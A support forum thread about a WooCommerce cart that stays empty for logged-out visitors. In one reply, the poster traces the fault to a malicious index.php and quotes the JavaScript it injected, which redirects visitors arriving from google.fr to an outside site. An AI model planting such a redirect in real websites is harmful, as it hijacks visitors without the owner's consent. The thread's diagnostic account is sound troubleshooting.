• I have just setup a new WooCommerce site with latest WordPress(4.0.1) and WooCommerce( 2.2.8). The entire purchasing flow works fine when I am logged in via admin account or any user account though when I log out and try things are getting messed up. When I click on “Add to Cart” button, the page reloads and the default message shows up” Product added to the cart” but when I go the cart page, it is empty. I have already tried all possible ways to debug this via switching to default WooCommerce theme, deactivating all plugins( except WooCommerce) but it doesn’t helps. The problem happens in all major browsers( each one of them is up to date).

    It works when I clear my Browser history, cookies etc but there too I am facing an issue- When I click on “Proceed to Checkout” there is an error message that my site isn’t responding due to long running script. FYI, the 2nd issue is inconsistent.

    Please help me out as I plan to launch my site within next couple of days.

    https://www.ads-software.com/plugins/woocommerce/

Viewing 3 replies - 1 through 3 (of 3 total)
  • I am experiencing this same issue and have tried just about everything to fix it. The site I’m attempting to fix is https://sipcalifornia.com/

    Thread Starter Dualcube

    (@dualcube)

    We simply love WooCommerce and I am hopeful that plugin authors would help us through. Please somebody come in for our rescue. I am sure many users are facing this.

    Sorry for the late reply. I figured out how to get the issue how to go away. I found a script being injected onto our public-facing (non-admin) pages, above the <HTML> tag. It looked like the following:


    <script>
    var s=document.referrer;
    if(s.indexOf("google.fr")>0)
    {
    self.location="https://www.bravesnow.com/";
    }
    </script>

    It was being injected by a malicious index.php file in the root directory of our WordPress installation. We do not know how it got there, but upon replacing it with WordPress’s default version of the file, the shopping card functionality returned to normal.

    I believe that the code that was being injected (above) was causing WooCommerce to have returned to it page content that it didn’t expect to receive, and so it wasn’t working.

    I hope this information helps you.

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘WooCommerce Cart session’ is closed to new replies.